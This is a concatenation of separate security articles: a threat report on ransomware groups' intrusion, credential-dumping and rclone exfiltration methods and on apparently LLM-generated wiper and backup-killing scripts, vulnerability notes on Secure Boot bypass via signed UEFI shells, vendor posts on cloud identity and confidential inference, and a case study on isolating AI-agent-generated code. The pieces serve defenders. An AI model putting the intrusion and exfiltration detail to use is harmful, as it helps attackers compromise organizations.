Following target selection, during Phase 3, we observed the actor downloading and executing Proofs of concept, reconnaissance scripts, and attack tools associated with known vulnerabilities against publicly exposed web services and administrative interfaces. Specifically, the actor attempted to exploit CVE-2025-24799, an unauthenticated SQL injection vulnerability in GLPI, using both a PoC and sqlmap to retrieve user information from the database. The actor also used a scanner targeting cPanel/WHM and downloaded and executed a PoC to test for authentication bypass vulnerabilities.
In Phase 4, the threat actor leveraged the information obtained in Phase 3 to expand the operation into the internal network and Active Directory environment. The actor appears to have collected and validated credentials used within the target environment in an attempt to gain access to multiple hosts and services.
The command history shows the installation and execution of tools targeting Windows authentication and Active Directory, including Responder, NTLM relay-related tools, Impacket, and NetExec. We also observed traces suggesting the exploitation of CVE-2020-1472 (Zerologon) and the vulnerabilities associated with MS17-010.
In Phase 5, the threat actor not only investigated the internal network but also used compromised access paths and credentials to move incrementally toward more critical hosts. The actor used VPN, Chisel, Ligolo-ng, SSH, and Proxychains to establish communication paths from the attacker-controlled server into the target organization’s internal network. They then used NetExec and Impacket to attempt authentication to services such as SMB, LDAP, RDP, and WinRM, seeking access to multiple hosts and attempting lateral movement. This activity indicates an effort to reach critical servers and Active Directory management infrastructure within the internal network.
In Phase 6, involving information collection and exfiltration, the threat actor mounted a backup share via CIFS at /mnt/Backup and inspected the Windows file system within VHDX backups. The command history records the installation of libguestfs-tools, qemu-utils, and nbd-client, the creation of directories such as /mnt/vhdx, and the copying of ntds.dit, SAM, and SYSTEM. The actor then used Impacket’s secretsdump.py to extract credentials and password hashes from the collected ntds.dit and SAM files, saving the results as “ntds.txt” and “SAM.txt”. We also identified traces indicating that the VHDX files were compressed with zstd and transferred to cloud storage services such as Wasabi using rclone. The attackers initially attempted the transfer using the default settings and subsequently reconfigured and reran the process to improve transfer speed and communication stability. The VHDX file was split into 256MiB chunks, with up to 16 files uploaded concurrently to reduce the overall upload time. Detailed progress reporting, connection timeouts, retries following transfer failures, and logging to a file were also specified. This suggests that the attackers were deliberately focused on exfiltrating large volumes of data and intended to maintain and monitor the transfer process.
Following the completion of an operation or at the end of each work phase, the threat actor deleted credential dumps, scan results, Responder-related files, pivoting tools, and temporary files stored on the attacker-controlled server. As shown in Figure 11, the command history contains evidence of deletion activities such as the following:
In addition, as shown in Figure 12, we found that The Gentlemen uses the open-source AdaptixC2 framework for command-and-control (C2) operations.
AdaptixC2 is a C2 post-exploitation framework designed for penetration testing and red team operations. However, The Gentlemen may be using it in real-world attacks.
The tool can also be extended through agents, listeners, and scripts. In addition, it supports multiple communication protocols, including HTTP/S, DNS/DoH, and SMB, making it adaptable to various network environments. Due to this flexibility, AdaptixC2 can be useful not only for legitimate red team operations but also for malicious actors.
Among these traces, we discovered a Bash script. The tool itself is relatively simple, periodically sending ping requests to a specified IP address and logging whether the host is reachable. However, we identified Russian-language comments within the script.
Additionally, the contents of the .bash_history file left in the attacker’s environment contained “црщфьш” (whoami), “ды” (ls), “шз ф” (ip a), “сдуфк” (clear), and “уше” (exit). This suggests that the attacker may have been using a Russian keyboard layout, indicating the possibility that a Russian-speaking individual was involved in the attack. As The Gentlemen is suspected to be led by individuals based in Russia, this further supports the connection to the group.
When we investigated the environment affected by the Qilin attack, Talos identified several characteristics in Python scripts found in an open directory used by Qilin that suggest, with medium-to-high confidence, that scripts may have been generated using AI.
Figure 16 shows part of a Python script named “deadman.py”. This tool deploys destructive actions to multiple machines in a Windows/Active Directory environment at a specified time and centrally manages their status.
The do_gpo function shown in Figure 16 uses an AD Group Policy Object (GPO) to deploy the wiper broadly across Windows machines within the domain. This function uses Active Directory Group Policy Objects (GPOs) to deploy a wiper across Windows endpoints within the domain. The code also contains comments such as # Stage wipe payload to SYSVOL, # Stage startup script, and # Create GPO via PowerShell on DC, suggesting that an LLM may have structured the overall process as a workflow: (1) Stage the payload → (2) Stage the startup script → (3) Create the GPO.
Figure 17 shows an excerpt from “veeam_kill.py”, a Python script designed to stop, disable, and destroy Veeam backups. As shown in Figures 17 and 18, the main() function clearly divides the overall process into four stages, labeled “Step 1” through “Step 4,” with comments and progress logs provided at a consistent level of detail for each step.
We also identified traces of code that appears to have been generated by an LLM in “deploy_locker.py”, a script used to distribute and execute ransomware across multiple endpoints. As shown in Figure 19, the script begins with documentation-style text describing the tool’s purpose, prerequisites, and usage examples, a format commonly seen when an LLM generates code from a given specification. In addition, as observed in the code discussed above, the script also contains comments that explain the processing flow step by step.
As shown in Figure 20, a portion of the “.bash_history” file also contains a history of commands used to inspect the contents of a directory associated with a tool named llm_chatbot, which appears to be related to LLM-based generation.
Our investigation found that vulnerabilities and misconfigurations in VPNs, remote access environments, and network devices were prominent initial access vectors. Talos also identified multiple cases in which threat actors gained access to internal networks by abusing stolen credentials or legitimate accounts. Therefore, managing internet-accessible devices and services and protecting credentials remain top priorities.
First, organizations should regularly inventory internet-accessible devices and services, including VPNs and remote desktop services. Unused devices and functions should be disabled, vulnerability advisories should be monitored continuously, and security patches should be applied promptly. Devices that are no longer supported should also be replaced in a planned manner. Restricting access to management interfaces by source IP address and minimizing the externally accessible attack surface are also effective measures.
To prevent the abuse of credentials, organizations should implement multi-factor authentication (MFA) for VPNs, cloud services, remote desktop services, and administrative accounts. Shared accounts and accounts that have not been used for extended periods should also be reviewed, while accounts used for routine work should be separated from those used for administrative tasks. Administrative privileges should be limited to the minimum necessary. Monitoring logins from unusual locations or at unusual times, as well as suspicious account creation, can also help detect the misuse of credentials at an early stage.
Because incidents involving third-party vendors, subsidiaries, and cloud environments were also observed, access controls should extend beyond the organization’s own environment to cover external organizations and services. Access granted to vendors and other third parties should be limited to the minimum necessary and restricted to a defined period. Organizations should also enforce multifactor authentication and retain connection logs to reduce the risk of intrusion through third-party environments. Subsidiaries and overseas locations should be encouraged to manage vulnerabilities and accounts according to the same standards as the headquarters.
Meanwhile, there were also cases in which the initial access vector could not be determined. In addition to implementing preventive measures, organizations should establish processes for retaining the records required for post-incident investigations. To limit the spread of an attack, it is also effective to use EDR and other security tools to monitor activities such as suspicious remote access, the acquisition of administrative privileges, the disabling of backup functions, and large-scale file modifications.
Our investigation indicates that combining vulnerability management for internet-facing assets, credential protection, and access controls that extend to third-party vendors can provide effective protection. Rather than focusing solely on preventing every intrusion, organizations should also establish systems that enable them to detect attacks at an early stage and limit the impact if an intrusion occurs.
The following SNORT® rules (SIDs) detect and block this threat:
Vendor-signed UEFI Shell applications may allow an attacker to bypass Secure Boot protections by abusing commands such as mm (Memory Modify). On systems that trust the affected vendor’s certificate or include the application’s Authenticode hash in the UEFI Authorized Signature Database (DB), an attacker with sufficient access could use the application’s direct memory-access capabilities to disable or circumvent Secure Boot enforcement and execute untrusted UEFI code. To mitigate this risk, system administrators should apply available firmware and software updates from affected hardware vendors.
The Unified Extensible Firmware Interface (UEFI) standard defines the firmware architecture used to initialize hardware and transfer control to modern operating systems during system startup. On systems with Secure Boot enabled, UEFI applications and drivers must be cryptographically signed and verified before their execution. Trust for these signatures is managed through several databases, including the Authorized Signature Database (DB), which commonly contains certificates from original equipment manufacturer (OEM) vendors, operating system authorities, and other supply-chain partners in the UEFI ecosystem.
There are multiple implementations of the UEFI Shell, and OEM vendors typically sign the implementation that they distribute. Some UEFI Shell implementations expose built-in capabilities for directly manipulating system memory and interacting with the UEFI environment. Because the Shell is vendor-signed and therefore permitted to execute with Secure Boot enabled, an attacker who can launch a vulnerable Shell can use these capabilities to modify the protected pre-boot state and potentially load or execute untrusted UEFI code. This creates a security boundary violation: Secure Boot permits execution of the signed Shell, while the Shell itself provides the primitives necessary to circumvent the integrity protections Secure Boot is intended to enforce. As a result, an attacker can potentially compromise the pre-boot environment despite Secure Boot being enabled.
Researchers from Binarly identified multiple UEFI Shell applications vulnerable to this type of abuse. Note that Eclypsium has also identified and reported some such signed UEFI shell binaries that expose high-privileged capabilities that can be used to bypass Secure Boot. To neutralize the risk, the affected binaries will need to be added to vendor-specific DBX revocation lists to prevent them from executing on the target systems.
| Impacted UEFI Applications [Vendor, Application and vulnerable function Authenticode SHA hash SHA256 file hash] |
|---|
Acer `UEFI shell` mm,dmpstore 805f72afd179fe67ceee14c76f92c8f76cad23130fa075d1d5678e242a0d3d52 f52b8dbffaa9b57910b3c369c384f7ccfe8d696e05e7a8a7f0da0db5540949c2 |
Acer `UEFI shell` mm,dmpstore b0af2158f11535d8458b8497a35e96d5afc76e43825f255d2d6aa2da74bad883 b3a999b7fad3c8cfeff88ab8b29d261b241689c857e13414a9ae0e9f84a10a5f |
Acer `UEFI shell` mm,dmpstore a249bd3044e9aa5d4e2dfa9f94b0ffa437f4ebf3f39d57c9f276b3b9988b2b0b 77a36a8f035dfb1fdf5170f396e29a8b3e4b93558317a51eafd5be9c5ead5ef9 |
Acer `UEFI shell` mm,dmpstore 6ce33e23b21bfa1ce143fdadf55d00340a9fa3215dd73e31fa6307d5733b8841 77019c81bdc1accbd0c99b20b12edcd578dabc4cac4fa66934465f20c1c0aa2c |
Acer `UEFI shell` mm,dmpstore ad30615c1ad7da2e47dcf28a571dc62b9c034c6ade434de8daa35965062f3a7f c0194c555db9f5f7080c3344db028f44af522bac63c13d764ff416ac244e3c08 |
Acer `UEFI shell` mm,dmpstore b0af2158f11535d8458b8497a35e96d5afc76e43825f255d2d6aa2da74bad883 b2e0afb2844241479db7d19398c837049fb4c7f08560963d616b3c95b1d382e2 |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 2bfbec41b536b248a3e0a28dddfbcd57f774f03b72028cec91def28b2dcffc2f |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 5cdf3d75c0ec0800b9692aedef19527f06eb4a16fdda586f5527350e2f6a40ad |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 6ccd1ee8b067d02c083e73a0c2e18712d55b78bd99fec392daf702a147ce6d41 |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 a632de93bfd10d89326db2171673bd246cd6533dcdf8e5f6de85949855695e78 |
Dell `UEFI shell` mm,dmpstore 113a80eac88190d96832cd50c9ea8de3bd6e08d8bcae2e6cea738eb73f64c5d7 d2ed7a747c5b3e5c83319e5d186ec602918fbf0651d059699a3c68f609d25cf2 |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 ec23a874c3c0e852becc8fa4010c60e5f8922fe671f5351cf8a976da59a01f86 |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 f75456cd23e492a078b3a81ffbbe262a1511ac9480c4f397e3d4be3b4ce5a455 |
Dell `UEFI shell` mm,dmpstore 113a80eac88190d96832cd50c9ea8de3bd6e08d8bcae2e6cea738eb73f64c5d7 f89cdf53d55d70fea31723f52d6b816937aebe2a2212ddcde7e3732e39c1fbfe |
Dell `UEFI shell` mm,dmpstore 3789ca5b6ccd21a528374f0fb85958516966db9331ca68923577352b0a4b45b7 fb68dfe907b99c23e97f98518d5e1079312d3981df036bb64d4682fe6fff83b5 |
Dell `UEFI shell` mm,dmpstore b0af2158f11535d8458b8497a35e96d5afc76e43825f255d2d6aa2da74bad883 20cca70af9e3b4e5640d52840c84a1968d5be6ca881b393bc236f8d349c225ce |
Dell `UEFI shell` mm,dmpstore b0af2158f11535d8458b8497a35e96d5afc76e43825f255d2d6aa2da74bad883 d4e7b11a30edd1f89c4fa1664eff98907202f15bc59c2cdfddf345a09ffbb1d4 |
Eurosoft `UEFI shell` mm,dmpstore e9d873cbcede3634e0a4b3644b51e1c8a0a048272992c738513ebc96cd3e3360 1e918f170a796b4b0b1400bb9bdae75be1cf86705c2d0fc8fb9dd0c5016b933b |
Framework `UEFI shell` mm,dmpstore 2944da098861619e21b522a642235bb2ec189ff20ef96e100b2ffdd9a39c3416 51401e93b940dec1a4391303fb6e390194b90113a8f7da6e711253c82a02b8e4 |
Framework `UEFI shell` mm,dmpstore 2944da098861619e21b522a642235bb2ec189ff20ef96e100b2ffdd9a39c3416 7e1dbf3e72b8c3c4967364f49da0cd5e3c09d921086d60ac2a493b55818cd7cf |
Framework `UEFI shell` mm,dmpstore 665b26ad26c1d739720a2793acaefbd8b6c16a599b48dcdbf594640522744483 0e03ff927005c70636273a4b9287683a821082f952dc7c9beda1a4fc911dddce |
Getac `UEFI shell` mm,dmpstore 09d895bb03bdac3188ef61b09ab72b99492cfd0b785cbc3eb2eb75657a2f9fa0 380a387b53a0ca586fe32eb1459b036f5dc178b26b2b0ec618c598eb4714d1fe |
Lenovo `UEFI shell` mm,dmpstore b0af2158f11535d8458b8497a35e96d5afc76e43825f255d2d6aa2da74bad883 1f2c450bbf287e35747561723079c166aed3eddfc509b26c18dd8e19417f1838 |
MinisForum `UEFI shell` mm,dmpstore 5e7b3650103fb1c15e610e2381351d9b36546f260284535ed5774adf7532f633 9de8a0194052063ce541b34fbd451071ea3051914fc234b6d691d006f0a0f994 |
Msi `UEFI shell` mm,dmpstore 61ee9a23c366a102ceb34c78af7816413769791658cdb668b02cb81ec94f7c70 da5f4aa2008e6e26c3553b3dee4cf835ceac88820658693704cea35f62733ce3 |
Seagate `UEFI shell` mm,dmpstore 665b26ad26c1d739720a2793acaefbd8b6c16a599b48dcdbf594640522744483 53d87f3b7729fe82b47606a85e606c30d2bb61d3da3f01caef17eb7164bca261 |
Uniwill `UEFI shell` mm,dmpstore 55682bec887134a2ccaa2cd5458cd3fe6395ea93bb88c9dc541806428b14fc66 d4f05110f4bb55677426067db88f61595dc1831659ba43a5770268b73d4eb479 |
Unknown `UEFI shell` mm,dmpstore 044f80d53ecea7dc108bbf54a89f431d22aa4ebd9b43da3a2abba75bede8b431 67bf47b637bff078e6eae9afbae26b82c701739ae7fcd8e7d282b1f2901f9634 |
Unknown `UEFI shell` mm,dmpstore 81da15d6acdfb7868ecea44d41c869c2295603af9a44a2d106d4c0e57d669087 8e61f24a72c3138bde4b63766ceee1ce1a70a00046cc6867c61520084d884346 |
Unknown `UEFI shell` mm,dmpstore 81da15d6acdfb7868ecea44d41c869c2295603af9a44a2d106d4c0e57d669087 88fbb6425f43eb54194dbb607141e65adc2d1e7e0d33b6bfe762504547024942 |
This vulnerability impacts systems that trust the compromised vendor certificate within their UEFI Authorized Signature Database (DB) or those that include the affected application’s Authenticode hash in the DB. An attacker with physical access or administrative privileges can leverage these trusted components to bypass Secure Boot and execute arbitrary code during the pre-boot phase. Because this execution occurs before the operating system and endpoint security products initialize, the malicious code can achieve persistent platform compromise, including the loading of unsigned kernel components, while remaining entirely invisible to standard security controls and Endpoint Detection and Response (EDR) solutions.
Apply the latest firmware and software updates from your hardware vendor. These updates are expected to replace vulnerable UEFI applications with secure versions. Update and verify the UEFI DBX on the affected systems to revoke trust in vulnerable binaries or, where necessary, the certificates used to sign them, preventing the affected binaries from executing during boot.
Thanks to Binarly for researching and reporting this vulnerability. Thanks to Eclypsium researchers continued work on UEFI risks from such signed applications. This document was written by Vijay Sarvepalli.
| CVE IDs: | |
| Date Public: | 2026-09-22 |
| Date First Published: | 2026-09-22 |
| Date Last Updated: | 2026-09-22 18:13 UTC |
| Document Revision: | 1 |
Imprivata Enterprise Access Management (EAM), an authentication and single sign-on platform for enterprise and clinical environments, contains a vulnerability in versions 26.2.6 and below. The product provides no supported mechanism to rotate its RSA key pair after deployment, meaning the same key pair is used indefinitely to generate the appliance's X.509 certificate.
CVE-2026-82356
Imprivata EAM uses an RSA key pair to generate the X.509 certificate that identifies the appliance to the clinical workstations, Electronic Health Record (EHR) platforms, and shared-device workflows that rely on it for authentication. After reviewing the product documentation and engaging Imprivata support, it was confirmed that no supported mechanism exists to rotate this RSA key pair after deployment.
Using a single RSA key pair indefinitely for certificate generation violates cryptographic best practices. Because the key cannot be rotated, an attacker who obtains the private key retains a valid, trusted appliance identity for as long as the deployment remains in service, with no supported means to revoke or replace it short of redeploying the product.
An attacker who obtains the private key, for example through backup exfiltration, a hypervisor snapshot, or privileged access to the appliance filesystem, can impersonate the appliance to any endpoint that trusts its certificate. Because Imprivata EAM sits directly in the authentication path, this allows persistent, difficult-to-detect interception of authentication traffic across every application the appliance brokers, including SSO tokens, session assertions, and credentials for EHR and clinical systems. If perfect forward secrecy is not enforced, previously captured traffic can also be decrypted retroactively. Because the key pair cannot be rotated, this access persists until the appliance is redeployed.
Unfortunately, Imprivata could not be reached to coordinate this case. The vendor is aware of the issue, which they are tracking internally, and is reported to be working toward a resolution. No fix or timeline has been provided at the time of publication.
Until a fix is available, affected users should protect the appliance's private key by restricting filesystem and administrative access, securing backups and hypervisor snapshots, and enforcing perfect forward secrecy on upstream connections to limit the impact of any key compromise.
Thank you to Frank "5y5tem5" Mileto for reporting this issue. This document was written by Alexander Curtis.
| CVE IDs: | CVE-2026-82356 |
| Date Public: | 2026-09-23 |
| Date First Published: | 2026-09-23 |
| Date Last Updated: | 2026-09-23 18:22 UTC |
| Document Revision: | 1 |
If you run either the security or platform team at a large enterprise, then you've probably lived some version of this: the AI team has a model ready, the business wants it in production, and the whole thing is parked in security review because nobody can answer two questions cleanly. Who can touch it? And who holds the keys?
Those questions are hard for a reason. Enterprise AI is only useful when it can leverage business-critical, often sensitive data, and the frameworks that govern that data (PCI DSS, GDPR, ISO 27001) without creating another disconnected set of controls. You're being asked to run new workloads inside rules that were never built to handle them.
Then there's the practical side. Most enterprises are multi-cloud, with identity and security automation built up over a decade or more across providers that don't agree with each other on much. Every new cloud platform you add is another place that automation has to reach. If it doesn't, someone ends up hand-provisioning accounts and copying keys around, and least privilege quietly erodes.
We've worked through this with some of the largest enterprises in the world. What we've found is that the fastest path through the loop to production isn't a new security model. It's making sure our security layer speaks fluently with the ones that already exist. Cross-cloud is a cornerstone of the CoreWeave strategy with previous capabilities like cross-cloud Local Object Transport Accelerator (LOTA), SUNK Anywhere, and our announced Interconnect with GCP. With Security and Identity, it is even more critical that secrets aren’t replicated and identities aren’t duplicated. Today, both with identity and encryption, we’re putting federation first.
You already have an identity provider (IdP), and you've probably spent years wiring automation around it. Asking you to adopt another one, or to write a parallel set of provisioning scripts for one more cloud, tends to slow you down and widen the gap where mistakes happen.
So CoreWeave IAM doesn't ask. It sits at the center of CoreWeave Cloud, handling authentication and authorization for everything you deploy, and it federates with your existing IdP over SAML and OIDC. Microsoft Entra, Okta, an IdP that lives in another hyperscaler: whatever you bring stays the source of truth.
Automated User Provisioning (AUP) is where that gets tangible. Users and groups sync continuously from your IdP into CoreWeave IAM. A new hire shows up with the right access. A role change updates their permissions. A termination revokes them. That propagates across CoreWeave Kubernetes Service (CKS), CoreWeave AI Object Storage (CAIOS), and the Console without anyone filing a ticket or maintaining an LDAP bridge.
Authorization works the same way. CoreWeave IAM policies will look familiar if you've written them for another hyperscaler, so your existing access model translates rather than getting rebuilt. RBAC and ABAC patterns apply least privilege to identities as they arrive from your IdP, which means entitlements are enforced by policy instead of assigned by hand.
Take SUNK, our Slurm-on-Kubernetes offering for training clusters. Slurm, an open-source job scheduler, has its own idea of identity (POSIX users, groups, accounts), and keeping that in sync with a corporate directory has traditionally been someone's part-time job.
With SUNK User Provisioning (SUP), it isn't. The moment a federated user lands in CoreWeave IAM, SUP creates their POSIX user and groups, syncs their SSH keys, and provisions their Slurm user and account. It runs off a per-customer SCIM endpoint and distributes identity through NSSCache rather than a live daemon, so logins stay fast even on clusters that scale up and churn constantly.
The practical result: add a researcher to a group in Entra or Okta, and they can SSH into a login node less than a minute later with the right UID, GID, and permissions already in place. No YAML, no account manager, no ticket. They get their access right away, and you get an access trail that starts and ends in the system you already audit.
Identity answers who can touch the data. Encryption and key custody answer who can read it, and for regulated data, that second question is where most enterprise AI deployments stall.
Training data, checkpoints, and model weights are among the most sensitive assets you own. Every major compliance framework assumes you can name exactly who is able to decrypt them. In most clouds, part of that answer is the cloud provider, and reconciling that with your obligations is what keeps deployments sitting in review.
Remote Key Encryption (RKE) is our newest security product, and it's built to take the provider out of that sentence. RKE encrypts your data at rest on CoreWeave using keys that are generated, stored, and rotated entirely inside your existing key store, whether that's a secrets manager, a cloud key management system (KMS), or a hardware security module (HSM) in the cloud or on-prem. Encryption happens client-side, inside your trusted compute boundary, using automation you control.
The distinction that matters: RKE doesn't import your keys into a CoreWeave-side KMS. Your keys stay in your key manager and trust boundary. CoreWeave never sees plaintext and only ever holds ciphertext. Access to your dedicated, single-tenant nodes stays gated behind Support Access Management, so even our own support engineers can't reach them without your express permission.
And because RKE works with the key infrastructure you already run, the lifecycle workflows you already have (rotation, expiration, revocation) carry over without new tooling. Your encryption infrastructure stays the same, and RKE automatically manages key lifecycle management (key rotation, deletion) with your existing KMS and HSM infrastructure.
RKE’s approach to key lifecycle management is unique. While RKE uses proven encryption algorithms and methods, it uses a patent pending method to enable you to use your existing remote key management systems as the system of record for protecting your AI data on CoreWeave. Like IAM and all of our security products, RKE uses this unique approach to support you in deploying sensitive AI workloads on CoreWeave with fewer obstacles than any other cloud platform.
Say you're deploying inference and need to guarantee that nobody outside your organization, CoreWeave included, can access your model weights.
With RKE, you encrypt those weights on your node using your existing secrets manager or KMS before they're written to CoreWeave AI Object Storage. The keys never leave your custody. CoreWeave never stores or touches them. Rotation and expiration run on your schedule, inside your boundary. If an auditor asks who can decrypt the weights, the answer is a short list, and it doesn't have CoreWeave on it.
RKE will be available later this year, protecting data on CoreWeave AI Object Storage with keys held in HashiCorp Vault Enterprise and general-purpose KMS and HSM products that speak the Key Management Interoperability Protocol (KMIP). Security work on AI projects often feels like a tax on speed, but it really doesn't have to. When identity and key custody plug into the systems you already trust, the review gets shorter, the automation gets simpler, and your teams get straight to business: building and shipping.
As large language model (LLM) inference increasingly processes sensitive information and proprietary model context across personal, enterprise, and regulated settings, data must be processed inside a trusted environment. NVIDIA Confidential Computing (CC) provides a pathway for running these workloads securely using memory-encrypted confidential virtual machines (CVMs), confidential GPUs, and encrypted NVIDIA NVLink. This enables running production AI inference on trusted hardware.
Inference frameworks such as NVIDIA TensorRT LLM deliver best-in-class AI inference by combining framework-level optimizations with NVIDIA accelerated computing. However, when these frameworks run in a CC-enabled environment, secure execution changes assumptions behind memory movement, timing, scheduling, and multi-GPU communication. These changes introduce performance overhead if the runtime does not adapt. Maintaining high performance therefore requires the inference framework and the confidential computing environment to be optimized together.
For AI platform engineers evaluating confidential inference on NVIDIA Blackwell GPUs, this post examines the CC-aware adaptations that AI inference frameworks like TensorRT LLM use to account for secure execution while helping preserve inference performance. It presents a controlled methodology that teams can apply to quantify CC overhead on their own workloads.
Workload characteristics determine how visible CC overhead can be. High request volume can amortize fixed encryption costs by overlapping stalls with other work, making the direct effects harder to observe.
To expose these effects, select a workload with a long input context, extended output generation, and low concurrency. Long context stresses data movement during prefill, extended generation amplifies small per-token CC overhead during decode, and low concurrency limits the opportunity to hide those costs across concurrent requests.
The NVIDIA performance engineering team used these characteristics for the workload evaluated here.
| Parameter | Configuration |
|---|---|
| Model | nvidia/DeepSeek-R1-0528-NVFP4 |
| Inference framework | TensorRT LLM, PyTorch backend |
| I/O sequence length | 32K input/1K output |
| Concurrent requests | 1, 2, 4, 8, and 16 |
| Parallelism | TP=8, EP=1, PP=1 |
| KV cache | FP8 |
To isolate the performance impact of CC, run the same workload under two conditions: confidential compute disabled (CC off) and confidential compute enabled (CC on) holding the model, hardware, framework version, sequence lengths, parallelism, and concurrency constant so that CC state is the only changing variable.
At each concurrency level:
Performance teams can use these measurements to quantify how much of the CC-off baseline is retained when CC is enabled for the target workload. The NVIDIA performance engineering team applied this comparison using the hardware and software configuration summarized in Table 2.
| Component | Version / Detail |
|---|---|
| Hardware | 1 NVIDIA DGX B200 system ( 8 NVIDIA B200 GPUs) |
| Platform | Intel TDX |
| Host OS | Ubuntu 25.10 |
| Host kernel | 6.17.0-20-generic |
| Guest OS | Ubuntu 24.04.4 LTS |
| Guest kernel | 6.8.0-124-generic |
| Guest vCPUs | 256 |
| Guest NUMA | 2 nodes |
| NVIDIA driver | 595.71.05 |
| VBIOS | FW 1.4.x [97.10.64.00.0C] |
| GPU power limit | 1,000 W |
| CUDA | 13.2 |
| TensorRT LLM | nvcr.io/nvidia/tensorrt-llm/release:1.3.0rc22 |
| NCCL | v2.30 |
| OpenSSL | 3.6.0 |
| Orchestration | Docker Container + NVIDIA Container Toolkit |
As shown in Figures 1 and 2, across concurrency 1–16, CC on retained 96.1– 98.2% of CC off output-token throughput, while mean TPOT remained within 1.2% to 4.3% of the baseline.
The NVIDIA Blackwell confidential computing architecture introduces hardware-enforced security paths for protecting data and workloads in use. For a detailed overview of the architecture, see Hardware-Rooted AI Security That Won’t Slow You Down.
For TensorRT LLM users and framework developers, the following details show how these secure paths change common runtime assumptions and how TensorRT LLM adapts to reduce the resulting performance overhead.
In the B200 CC, host-to-device transfers pass through a software encrypted bounce buffer because the GPU cannot directly access protected CVM memory. This changes the behavior expected by inference frameworks: pinned memory no longer provides its usual asynchronous-transfer advantage, and some copies can block the calling thread.
The kernel autotuner normally uses CUDA events to compare candidate tactics. In the tested CC configuration, CUDA-event timestamps produced an unstable timing signal, which could cause the autotuner to select a slower tactic.
%globaltimer for tactic measurements under CC while retaining CUDA events outside CC. For details, see TensorRT LLM PR #11657.NVLS (NVLink SHARP) multicast is not available in B200 CC configurations. Without NVLS, NCCL_SYMMETRIC cannot provide its intended multicast benefit but may still incur memory registration and cross-rank synchronization costs before using a non-multicast collective path.
NVIDIA Confidential Computing extends hardware-enforced protection across confidential VMs, NVIDIA Blackwell GPUs, and encrypted NVLink, protecting proprietary models, enterprise context, and sensitive prompts while they are processed.
Confidential computing does not remove the need for performance engineering—it makes framework awareness even more important. With TensorRT LLM CC-aware adaptations to secure data movement, autotuning, and multi-GPU communication in place, confidential DeepSeek-R1 inference retained more than 96% of CC-off output-token throughput while keeping per-token latency overhead below 5% on eight NVIDIA B200 GPUs.
As organizations move private inference into production, security configuration and inference optimization should be approached as a single deployment problem. Enable confidential computing, attest the environment, and benchmark CC-on and CC-off using the exact workload you intend to serve. For AI platform engineers and TensorRT LLM users moving private inference into production, security configuration and inference optimization should be treated as a full-stack engineering effort.
To start planning your confidential inference deployment, use the NVIDIA Trusted Computing documentation and explore the latest TensorRT LLM features and release notes. To stay up to date with the latest developments, follow NVIDIA Confidential Compute news.
I would like to thank Dan Hansen, Sheel Pethe, Samuel Mendoza-Jonas, Moein Ghaniyoun, Vidhya Krishnan, Avinash Ahuja, Laikh Tewari, Laura Martinez, and Matheen Raza for their engineering contributions, technical guidance, analysis, and thoughtful review throughout this work.
When Benchling needed to run AI agent-generated scientific code across thousands of life sciences tenants, their security team found that traditional sandboxing wasn’t enough. Today, this architecture processes more than 600 code execution sessions per day across more than 250 tenants per week with zero security incidents. Standard network controls block HTTP, restrict egress ports, and limit outbound connections. However, DNS resolution is often still permitted, and even when system defaults restrict it, you may not have visibility into or control over those restrictions. This is the challenge Benchling faced when deploying AI agents across thousands of life sciences tenants. Their security team needed full control over network isolation beyond the system defaults to meet their threat model for executing untrusted code at scale.
In this post, we show how Benchling built a defense-in-depth security architecture to run AI agent-generated scientific code across thousands of life sciences tenants. Amazon Bedrock AgentCore is a platform to build, connect, and optimize agents at scale, with any framework or model. Benchling uses AgentCore Code Interpreter, a capability of Amazon Bedrock AgentCore, in Amazon Virtual Private Cloud (VPC) mode. This approach combines account-level isolation, Amazon Route 53 Resolver DNS Firewall, and VPC endpoint policies to help prevent data exfiltration while enforcing per-job data access controls.
Benchling’s AI application generates scientific code that runs on behalf of researchers across thousands of tenants. The primary use case is AI agent-generated scientific code, though Code Interpreter is also used for simpler calculations and as a code-generation sandbox. The security requirements are strict. Each session must access only that tenant’s data, with no cross-tenant visibility. Code can’t establish unauthorized network connections or exfiltrate data through any vector. Every execution session must be fully isolated, and the solution cannot require one AWS Identity and Access Management (IAM) role per tenant, as that would create unsustainable role sprawl at this scale.
During their security review, the Benchling team evaluated the network isolation properties of each Code Interpreter network mode against their threat model. While Sandbox mode restricts outbound access to Amazon Simple Storage Service (Amazon S3) operations, Benchling’s security posture requires customer-controlled network isolation. They needed to define exactly which domains can resolve and which endpoints are reachable. They also needed to continuously validate those controls through their own integration test suite. For an application handling sensitive scientific data across thousands of regulated life sciences tenants, relying solely on application-managed network restrictions wasn’t sufficient. They needed a solution where Benchling owned the security controls end to end. It had to block unauthorized network vectors, including DNS, without managing per-tenant IAM role sprawl or exposing their main production account to untrusted execution environments.
Figure 1 shows the complete solution architecture. On the left, the Production Account contains the Benchling Stack, IAM Roles, AWS STS, and Customer Data in Amazon S3. Tasks are dispatched to the Untrusted Code Account on the right, a separate AWS account containing the ACCI VPC. This VPC has no internet gateway and no NAT gateway. The Code Interpreter runs inside a dedicated Security Group restricted to port 443, with no outbound path to the public internet.
DNS queries from the Code Interpreter are evaluated by Route 53 Resolver DNS Firewall, which applies a three-priority resolver policy. Priority 10 blocks known malicious domains, Priority 100 allows only explicitly listed endpoints, and Priority 200 blocks the remaining queries. Below the Security Group, VPC Endpoints provide the only permitted network paths. An S3 Gateway endpoint and an Interface endpoint handle authorized S3 access, while NACLs and Prefix List routing restrict traffic to only these endpoints. Per-job credentials are injected into each session through AWS STS from the Production Account, scoping data access dynamically. A Continuous Validation suite runs integration tests that simulate exfiltration attempts against this configuration.
Benchling’s solution uses a dedicated AWS account for untrusted code execution, separate from their main production account. AI-generated code runs in this isolated “Untrusted Code Account,” providing scope containment. If something goes wrong, the main Benchling production account, with its customer data and access roles, is not directly exposed.
